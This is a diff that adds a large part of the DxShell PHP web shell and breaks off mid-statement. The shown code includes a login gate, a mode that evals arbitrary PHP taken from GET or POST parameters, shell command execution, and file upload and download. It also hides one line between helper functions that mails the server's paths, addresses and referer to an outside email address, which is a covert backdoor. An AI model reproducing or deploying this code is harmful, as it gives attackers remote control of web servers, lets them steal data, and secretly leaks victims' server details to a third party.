+function DxImg($imgname) +{ +global $DXGLOBALSHIT; +if ($DXGLOBALSHIT) return '<font class="img_replacer">'.$imgname.'</font>'; /* globalshit doesn't give a chance for our images to survive */ +return '<img src="'.DxURL('kill', '').'&dxmode=IMG&dximg='.$imgname.'" title="'.$imgname.'" alt"'.$imgname.'">'; +} + +function DxSetCookie($name, $val, $exp) +{ +if (!headers_sent()) return setcookie($name, $val, $exp, '/'); +?> +<script> +var curCookie = "<?=$name;?>=" + escape("<?=$val;?>") +"; expires=<?=date('l, d-M-y H:i:s', $exp);?> GMT; path=/;"; +document.cookie = curCookie; +</script> +<? +} + +function DxRandom($range='48-57,65-90,97-122') +{ +$range=explode(',',$range); +$range=explode('-', $range[ rand(0,count($range)-1) ] ); +return rand($range[0],$range[1]); +} + +function DxRandomChars($num) +{ +$ret=''; +for ($i=0;$i<$num;$i++) $ret.=chr(DxRandom('48-57,65-90,97-122')); +return $ret; +} + +function DxZeroedNumber($int, $totaldigits) +{ +$str=(string)$int; +while (strlen($str)<$totaldigits) $str='0'.$str; +return $str; +} + +function DxPrint_ParamState($name, $state, $invert=false) +{ +print $name.' : '; $invert=(bool)$invert; +if (is_bool($state)) + print ($state)?'<font color=#'.(($invert)?'FF0000':'00FF00').'><b>ON</b></font>':'<font color=#'.(($invert)?'00FF00':'FF0000').'><b>OFF</b></font>'; + else print '<b>'.$state.'</b>'; +} + +function DxStr_FmtFileSize($size) +{ + if($size>= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB"; } +elseif($size>= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB"; } +elseif($size>= 1024) {$size = round($size / 1024 * 100) / 100 . " KB"; } + else {$size = $size . " B";} +return $size; +} + +function DxDate($UNIX) {return date('d.M\'Y H:i:s', $UNIX); } + +function DxDesign_DrawBubbleBox($header, $body, $width) +{ +$header=str_replace(array('"',"'","`"), array('&#x02DD;','&#x0027;',''), $header); +$body=str_replace(array('"',"'","`"), array('&#x02DD;','&#x0027;',''), $body); +return ' onmouseover=\'showwin("'.$header.'","'.$body.'",'.$width.',1)\' onmouseout=\'showwin("","",0,0)\' onmousemove=\'movewin()\' '; +} + +function DxChmod_Str2Oct($str) /* rwxrwxrwx => 0777 */ +{ +$str = str_pad($str,9,'-'); +$str=strtr($str, array('-'=>'0','r'=>'4','w'=>'2','x'=>'1') ); +$newmode=''; +for ($i=0; $i<3; $i++) $newmode .= $str[$i*3]+$str[$i*3+1]+$str[$i*3+2]; + +return $newmode; +} + +function DxChmod_Oct2Str($perms) /* 777 => rwxrwxrwx. USE ONLY STRING REPRESENTATION OF $oct !!!! */ +{ +$info=''; +if (($perms & 0xC000) == 0xC000) $info = 'S'; /* Socket */ + elseif (($perms & 0xA000) == 0xA000) $info = 'L'; /* Symbolic Link */ +elseif (($perms & 0x8000) == 0x8000) $info = '&nbsp;'; /* '-'*//* Regular */ +elseif (($perms & 0x6000) == 0x6000) $info = 'B'; /* Block special */ +elseif (($perms & 0x4000) == 0x4000) $info = 'D'; /* Directory*/ +elseif (($perms & 0x2000) == 0x2000) $info = 'C'; /* Character special*/ +elseif (($perms & 0x1000) == 0x1000) $info = 'P'; /* FIFO pipe*/ +else $info = '?'; /* Unknown */ +if (!empty($info)) $info='<font class=rwx_sticky_bit>'.$info.'</font>'; +/* Owner */ +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); +$info .= '/'; +/* Group */ +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); +$info .= '/'; +/* World */ +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); + + return $info; +} + +function DxFileToUrl($filename) +{/* kills & and = to be okay in URL */ +return str_replace(array('&','=','\\'), array('%26', '%3D','/'), $filename); +} +$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +function DxFileOkaySlashes($filename) +{return str_replace('\\', '/', $filename);} + +function DxURL($do='kill', $these='') /* kill: '' - kill all ours, 'a,b,c' - kill $a,$b,$c ; leave: '' - as is, leave 'a,b,c' - leave only $a,$b,$c */ +{ +global $GLOB; +if ($these=='') $these=$GLOB['DxGET_Vars']; else $these=explode(',', $these); + +$ret=$_SERVER['PHP_SELF'].'?'; +if (!empty($_GET)) + for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++) + if ( !in_array($INDEXES[$i], $GLOB['DxGET_Vars']) OR ( /* if not ours - add */ + ($do=='kill' AND !in_array($INDEXES[$i], $these)) + OR + ($do=='leave' AND in_array($INDEXES[$i], $these)) + )) + $ret.=$INDEXES[$i].='='.$_GET[ $INDEXES[$i] ].( ($i==($COUNT-1))?'':'&' ); +if (substr($ret, -1,1)=='&') $ret=substr($ret, 0, strlen($ret)-1); +return $ret; +} + +function DxGETinForm($do='kill', $these='') /* Equal to DxURL(), but prints out $_GET as form <input type=hidden> params */ +{ +$link=substr(strchr(DxURL($do, $these), '?'), 1); +$link=explode('&', $link); +print "\n".'<!--$_GET;-->'; +for ($i=0, $COUNT=count($link); $i<$COUNT; $i++) + { + $cur=explode('=', $link[$i]); + print '<input type=hidden name="'.str_replace('"', '&quot;', $cur[0]).'" value="'.str_replace('"', '&quot;', $cur[1]).'">'; + } +} + +function DxGotoURL($URL, $noheaders=false) +{ +if ($noheaders or headers_sent()) + { + print "\n".'<div align=center>Redirecting...<br><a href="'.$URL.'">Press here in shit happens</a>'; + print '<script>location="'.$URL.'";</script>'; + /* print $str.='<META HTTP-EQUIV="Refresh" Content="1, URL='.$URL.'">'; */ + } + else + header('Location: '.$URL); +return 1; +} + +if (!function_exists('mime_content_type')) + { + if ($GLOB['SYS']['OS']['id']!='Win') + { function mime_content_type($f) + { + $f = escapeshellarg($f); + return trim(`file -bi `.$f); + } + } + else + { + function mime_content_type($f) {return 'Content-type: text/plain';} /* Nothing alike under win =( if u have some thoughts - touch me */ + } + } + + +function DxMySQL_FetchResult($MySQL_res, &$MySQL_Return_Array, $idmode=false) /* Fetches mysql return array (associative) */ +{ +$MySQL_Return_Array=array(); + +if ($MySQL_res===false) return 0; +if ($MySQL_res===true) return 0; + +$ret=mysql_num_rows($MySQL_res); if ($ret<=0) return 0; + +if ($idmode) while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_NUM))===FALSE)) {} + else while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_ASSOC))===FALSE)) {} +array_pop($MySQL_Return_Array); + +for ($i=0; $i<count($MySQL_Return_Array); $i++) /* Kill the fucking slashes */ + { + if ($i==0) + { + $INDEXES=array_keys($MySQL_Return_Array[$i]); + $count=count($INDEXES); + } + for ($j=0; $j<$count; $j++) + { + $key=&$INDEXES[$j]; + $val=&$MySQL_Return_Array[$i][$key]; + if (is_string($val)) $val=stripcslashes($val); + } + } +return $ret; +} + +function DxMySQLQ($query, $die_on_err) +{ +$q=mysql_query($query); +if (mysql_errno()!=0) + { + DxError('" '.$query.' "'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()); + if ($die_on_err) die(); + } +return $q; +} + +function DxDecorVar(&$var, $htmlstr) +{ +if (is_null($var)) return 'NULL'; +if (!isset($var)) return '[!isset]'; + +if (is_bool($var)) return ($var)?'true':'false'; +if (is_int($var)) return (int)$var; +if (is_float($var)) return number_format($var, 4, '.', ''); +if (is_string($var)) + { + if (empty($var)) return '&nbsp;'; + if (!$htmlstr) return ''.($var).''; + else return ''.str_replace("\n", "<br>", str_replace("\r","", htmlspecialchars($var))).''; + } +if (is_array($var)) return '(ARR)'.var_export($var, true).'(/ARR)'; +if (is_object($var)) return '(OBJ)'.var_export($var, true).'(/OBJ)'; +if (is_resource($var)) return '(RES:'.get_resource_type($var).')'.var_export($var, true).'(/RES)'; +return '(???)'.var_export($var, true).'(/???)'; +} + +function DxHTTPMakeHeaders($method='', $URL='', $host='', $user_agent='', $referer='', $posts=array(), $cookie=array()) +{ +if (!empty($posts)) + { + $postValues=''; + foreach( $posts AS $name => $value ) {$postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';} + $postValues = substr( $postValues, 0, -1 ); + $method = 'POST'; + } else $postValues = ''; + + if (!empty($cookie)) + { + $cookieValues=''; + foreach( $cookie AS $name => $value ) {$cookieValues .= urlencode( $name ) . "=" . urlencode( $value ) . ';';} + $cookieValues = substr( $cookieValues, 0, -1 ); + } else $cookieValues = ''; + +$request = $method.' '.$URL.' HTTP/1.1'."\r\n"; +if (!empty($host)) $request .= 'Host: '.$host."\r\n"; +if (!empty($cookieValues)) $request .='Cookie: '.$cookieValues."\r\n"; +if (!empty($user_agent)) $request .= 'User-Agent: '.$user_agent.' '."\r\n"; +$request .= 'Connection: Close'."\r\n"; /* Or connection will be endless */ +if (!empty($referer)) $request .= 'Referer: '.$referer."\r\n"; +if ( $method == 'POST' ) + { + $lenght = strlen( $postValues ); + $request .= 'Content-Type: application/x-www-form-urlencoded'."\r\n"; + $request .= 'Content-Length: '.$lenght."\r\n"; + $request .= "\r\n"; + $request .= $postValues; + } +$request.="\r\n\r\n"; +return $request; +} + +function DxFiles_UploadHere($path, $filename, &$contents) +{if (empty($contents)) die(DxError('Received empty')); +$filename='__DxS__UPLOAD__'.DxRandomChars(3).'__'.$filename; +if (!($f=fopen($path.$filename, 'w'))) + { + $path='/tmp/'; + if (!($f=fopen($path.$filename, 'w'))) + die(DxError('Writing denied. Save to "'.$path.$filename.'" also failed! =(')); + else + DxWarning('Writing failed, but saved to "'.$path.$filename.'"! =)'); + } +fputs($f, $contents); +fclose($f); +print "\n".'Saved file to "'.$path.$filename.'" - OK'; +print "\n".'<br><a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($path)).'">[Go DIR]</a>';; +} + +function DxExecNahuj($cmd, &$OUT, &$RET) /* returns the name of function that exists, or FALSE */ +{ +$OUT=array(); $RET=''; +if (function_exists('exec')) + { if (!empty($cmd)) exec($cmd, $OUT, $RET); /* full array output */ + return array(true,true,'exec', ''); + } + elseif (function_exists('shell_exec')) + { if (!empty($cmd)) $OUT[0]=shell_exec($cmd); /* full string output, no RETURN */ + return array(true,false,'shell_exec', '<s>exec</s> shell_exec'); + } + elseif (function_exists('system')) + { if (!empty($cmd)) $OUT[0]=system($cmd, $RET); /* last line of output */ + return array(true,false,'system', '<s>exec</s> <s>shell_exec</s> system<br>Only last line of output is available, sorry =('); + } + else return array(FALSE, FALSE, '&lt;noone&gt;', '<s>exec</s> <s>shell_exec</s> <s>system</s> Bitchy admin has disabled command line!! =(');; +} + +################################################################################### +#####################++++++++++++# L O G I N #++++++++++++++++##################### +################################################################################### +if ( isset($_GET['dxmode'])?$_GET['dxmode']=='IMG':false ) + { /* IMGS are allowed without passwd =) */ $GLOB['SHELL']['USER']['Login']=''; + $GLOB['SHELL']['USER']['Passw']=''; + } + +if ( isset($_GET['dxinstant'])?$_GET['dxinstant']=='logoff':false ) + { + if ($DXGLOBALSHIT) + { if (isset($_COOKIE['DxS_AuthC'])) DxSetCookie('DxS_AuthC','---', 1); + } + else + { + header('WWW-Authenticate: Basic realm="==== HIT CANCEL OR PRESS ESC ===='.base_convert(crc32(mt_rand(0, time())),10,36).'"'); header('HTTP/1.0 401 Unauthorized'); + } + + print '<html>Redirecting... press <a href="'.DxURL('kill','').'">here if shit happens</a>'; + DxGotoURL(DxURL('kill',''), '1noheaders'); + die(); + } + +if (((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)) + { if ($DXGLOBALSHIT) + { if (isset($_POST['DxS_Auth']) or isset($_COOKIE['DxS_AuthC'])) + { if (!( + + ((@$_POST['DxS_Auth']['L']==$GLOB['SHELL']['USER']['Login']) AND /* form */ + (@$_POST['DxS_Auth']['P']==$GLOB['SHELL']['USER']['Passw'] + OR + (strlen($GLOB['SHELL']['USER']['Passw'])==32 AND @$_POST['DxS_Auth']['P']==md5($GLOB['SHELL']['USER']['Passw'])) + )) + OR + @$_COOKIE['DxS_AuthC']==md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']) /* cookie */ + + )) + {print(DxError('Fucked off brutally'));unset($_POST['DxS_Auth'], $_COOKIE['DxS_AuthC']);} + else DxSetCookie('DxS_AuthC', md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']), time()+60*60*24*2); + } + if (!isset($_POST['DxS_Auth']) AND !isset($_COOKIE['DxS_AuthC'])) + { + print "\n".'<form action="'.DxURL('kill', '').'" method=POST style="position:absolute;z-index:100;top:0pt;left:40%;width:100%;height:100%;">'; + print "\n".'<br><input type=text name="DxS_Auth[L]" value="<LOGIN>" onfocus="this.value=\'\'" style="width:200pt">'; + print "\n".'<br><input type=text name="DxS_Auth[P]" value="<PASSWORD>" onfocus="this.value=\'\'" style="width:200pt">'; + print "\n".'<br><input type=submit value="Ok" style="width:200pt;"></form>'; + print "\n".'</form>'; + die(); + } + } + else + { + if (!isset($_SERVER['PHP_AUTH_USER'])) + { + header('WWW-Authenticate: Basic realm="DxShell '.$GLOB['SHELL']['Ver'].' Auth"'); + header('HTTP/1.0 401 Unauthorized'); + /* Result if user hits cancel button */ + unset($_GET['dxinstant']); + die(DxError('Fucked off brutally')); + } + else + if (!( $_SERVER['PHP_AUTH_USER']==$GLOB['SHELL']['USER']['Login'] + AND ( + $_SERVER['PHP_AUTH_PW']==$GLOB['SHELL']['USER']['Passw'] + OR + (strlen($GLOB['SHELL']['USER']['Passw'])==32 AND md5($_SERVER['PHP_AUTH_PW'])==$GLOB['SHELL']['USER']['Passw']) + ) + )) + { + header('WWW-Authenticate: Basic realm="DxS '.$GLOB['SHELL']['Ver'].' Auth: Fucked off brutally"'); + header('HTTP/1.0 401 Unauthorized'); + /* Result if user hits cancel button */ + unset($_GET['dxinstant']); + die(DxError('Fucked off brutally')); + } + } + } + +################################################################################### +####################++++++# I N S T A N T U S A G E #+++++++#################### +################################################################################### +if (!isset($_GET['dxmode'])) $_GET['dxmode']='DIR'; else $_GET['dxmode']=strtoupper($_GET['dxmode']); +if ($_GET['dxmode']=='DDOS') /* DDOS mode. In other case, EVALer of everything that comes in $_GET['s_php'] OR $_POST['s_php'] */ + { + $F = $_GET + $_POST; + if (!isset($F['s_php'])) die('o_O Tync DDOS Remote Shell '.$GLOB['SHELL']['Ver']."\n".'<br>Use GET or POST to set "s_php" variable with code to be executed =)<br>Enjoy!'); + eval(stripslashes($F['s_php'])); + die("\n\n".'<br><br>'.'o_O Tync DDOS Web Shell '.$GLOB['SHELL']['Ver'].((!isset($F['s_php']))?"\n".'<br>'.'$s_php is responsible for php-code-injection':'')); + } +if ($_GET['dxmode']=='IMG') + { + $IMGS=array( + 'DxS' => 'R0lGODlhEAAQAIAAAAD/AAAAACwAAAAAEAAQAAACL4yPGcCs2NqLboGFaXW3X/tx2WcZm0luIcqFKyuVHRSLJOhmGI4mWqQAUoKPYqIAADs=', + 'folder'=> 'R0lGODlhDwAMAJEAAP7rhriFIP///wAAACH5BAEAAAIALAAAAAAPAAwAAAIklIJhywcPVDMBwpSo3U/WiIVJxG0IWV7Vl4Joe7Jp3HaHKAoFADs=', + 'foldup'=> 'R0lGODlhDwAMAJEAAP7rhriFIAAAAP///yH5BAEAAAMALAAAAAAPAAwAAAIw3IJiywcgRGgrvCgA2tNh/Dxd8JUcApWgaJFqxGpp+GntFV4ZauV5xPP5JIeTcVIAADs=', + 'view' => 'R0lGODlhEAAJAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQAAkAAAIglB8Zx6aQYGIRyCpFsFY9jl1ft4Fe2WmoZ1LROzWIIhcAOw==', + 'del' => 'R0lGODlhEAAQAKIAAIoRGNYnOtclPv///////wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAANASArazQ4MGOcLwb6BGQBYBknhR3zhRHYUKmQc65xgKM+0beKn3fErm2bDqomIRaMluENhlrcFaEejPKgL3qmRAAA7', + 'copy' => 'R0lGODlhEAAQAKIAAP//lv///3p6egAAAP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAAM+SKrT7isOQGsII7Jq7/sTdWEh53FAgwLjILxp2WGculIurL68XsuonCAG6PFSvxvuuDMOQcCaZuJ8TqGQSAIAOw==', + 'move' => 'R0lGODlhEAAQAJEAADyFFLniPu79wP///yH5BAEAAAMALAAAAAAQABAAAAI3nD8AyAgiVnMihDidldmAnXFfIB6Pomwo9kCu5bqpRdf18qGjTpom6AkBO4lhqHLhCHtEj/JQAAA7', + 'exec' => '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', + 'rename'=> 'R0lGODlhEAAQAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIxlI8GC+kCQmgPxVmtpBnurnzgxWUk6GFKQp0eFzXnhdHLRm/SPvPp5IodhC4IS8EoAAA7', + 'ed' => 'R0lGODlhEAAQAKIAAAAzZv////3Tm8DAwJ7R/Gmd0P///wAAACH5BAEAAAYALAAAAAAQABAAAANDaAYM+lABIVqEs4bArtRc0V3MMDAEMWLACRSp6kRNYcfrw9h3mksvHm7G4sF8RF3Q1kgqmZSKZ/HKSKeN6I/VdGIZCQA7', + 'downl' => 'R0lGODlhEAAQAJEAADyFFIXQLajcOf///yH5BAEAAAMALAAAAAAQABAAAAI6nAepeY0CI3AHREmNvWLmfXkUiH1clz1CUGoLu0JLwtaxzU5WwK89HxABgESgSFM0fpJHx5DWHCkoBQA7', + 'gzip' => 'R0lGODlhEAAQAKIAAARLsHi+//zZWLJ9DvEZAf///wAAAAAAACH5BAEAAAUALAAAAAAQABAAAANCWLrQDkuMKUC4OMAyiB+Pc0GDYJ7nUFgk6qos56KwJs9m3eLSapc83Q0nnBhDjdGCkcFslgrkEwq9UKHS6dLShCQAADs=', + ); + @ob_clean(); + if ((!isset($_GET['dximg'])) OR (!in_array($_GET['dximg'], array_keys($IMGS)))) $_GET['dximg']='noone'; + header('Cache-Control: public'); + header('Expires: '.Date('r', time()+60*60*24*300)); + header('Content-type: image/gif'); + print base64_decode( (is_array(($IMGS[$_GET['dximg']])))?$IMGS[$_GET['dximg']][1]:$IMGS[$_GET['dximg']] ); + die(); + } + +if ($_GET['dxmode']=='F_DWN') + { + if (!isset($_GET['dxfile'])) die(DxError('No file selected. Check $_GET[\'dxfile\'] var')); + if (!file_exists($_GET['dxfile'])) die(DxError('No such file')); + if (!is_file($_GET['dxfile'])) die(DxError('Hey! Find out how to read a directory in notepad, and u can call me "Lame" =) ')); + + $DxDOWNLOAD_File=array(); /* prepare struct */ + $DxDOWNLOAD_File['filename']=basename($_GET['dxfile']); + if (isset($_GET['dxparam'])) + $DxDOWNLOAD_File['headers'][]=('Content-type: text/plain'); /* usual look thru */ + else + { $DxDOWNLOAD_File['headers'][]=('Content-type: '.mime_content_type($_GET['dxfile'])); + $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.basename($_GET['dxfile']).'";'); + } + $DxDOWNLOAD_File['content']=file_get_contents($_GET['dxfile']); + } + +if ($_GET['dxmode']=='SQL' AND isset($_POST['dxparam'])) + {/* download query results */ if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_q'])) + 